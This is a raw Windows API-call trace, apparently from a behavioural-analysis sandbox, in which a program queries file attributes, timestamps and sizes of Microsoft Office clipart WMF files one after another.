	[0051.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x126135e8 | out: lpFileInformation=0x126135e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140)) returned 1
	[0051.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613638 | out: lpFileInformation=0x12613638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a)) returned 1
	[0051.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613688 | out: lpFileInformation=0x12613688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c)) returned 1
	[0051.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x126136d8 | out: lpFileInformation=0x126136d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0051.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613728 | out: lpFileInformation=0x12613728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18)) returned 1
	[0051.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613778 | out: lpFileInformation=0x12613778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec)) returned 1
	[0051.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x126137c8 | out: lpFileInformation=0x126137c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4)) returned 1
	[0051.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613818 | out: lpFileInformation=0x12613818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4)) returned 1
	[0051.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613868 | out: lpFileInformation=0x12613868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4)) returned 1
	[0051.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x126138b8 | out: lpFileInformation=0x126138b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8)) returned 1
	[0051.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613908 | out: lpFileInformation=0x12613908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124)) returned 1
	[0051.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613958 | out: lpFileInformation=0x12613958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c)) returned 1
	[0051.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x126139a8 | out: lpFileInformation=0x126139a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4)) returned 1
	[0051.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x126139f8 | out: lpFileInformation=0x126139f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8)) returned 1
	[0051.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613a48 | out: lpFileInformation=0x12613a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c)) returned 1
	[0051.630] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613a98 | out: lpFileInformation=0x12613a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0)) returned 1
	[0051.630] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613ae8 | out: lpFileInformation=0x12613ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670)) returned 1
	[0051.630] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613b38 | out: lpFileInformation=0x12613b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6)) returned 1
	[0051.630] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613b88 | out: lpFileInformation=0x12613b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928)) returned 1
	[0051.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613bd8 | out: lpFileInformation=0x12613bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea)) returned 1
	[0051.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613c28 | out: lpFileInformation=0x12613c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c)) returned 1
	[0051.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613c78 | out: lpFileInformation=0x12613c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028)) returned 1
	[0051.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613cc8 | out: lpFileInformation=0x12613cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a)) returned 1
	[0051.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613d18 | out: lpFileInformation=0x12613d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e)) returned 1
	[0051.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613d68 | out: lpFileInformation=0x12613d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138)) returned 1
	[0051.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613db8 | out: lpFileInformation=0x12613db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926)) returned 1
	[0051.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613e08 | out: lpFileInformation=0x12613e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc)) returned 1
	[0051.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613e58 | out: lpFileInformation=0x12613e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4)) returned 1
	[0051.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613ea8 | out: lpFileInformation=0x12613ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c)) returned 1
	[0051.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00833_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00833_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613ef8 | out: lpFileInformation=0x12613ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0)) returned 1
	[0051.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613f48 | out: lpFileInformation=0x12613f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908)) returned 1
	[0051.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613f98 | out: lpFileInformation=0x12613f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100)) returned 1
	[0051.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc008 | out: lpFileInformation=0x124cc008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904)) returned 1
	[0051.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc058 | out: lpFileInformation=0x124cc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984)) returned 1
	[0051.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc0a8 | out: lpFileInformation=0x124cc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c)) returned 1
	[0051.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc0f8 | out: lpFileInformation=0x124cc0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c)) returned 1
	[0051.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc148 | out: lpFileInformation=0x124cc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418)) returned 1
	[0051.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc198 | out: lpFileInformation=0x124cc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda)) returned 1
	[0051.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc1e8 | out: lpFileInformation=0x124cc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4)) returned 1
	[0051.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc238 | out: lpFileInformation=0x124cc238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4)) returned 1
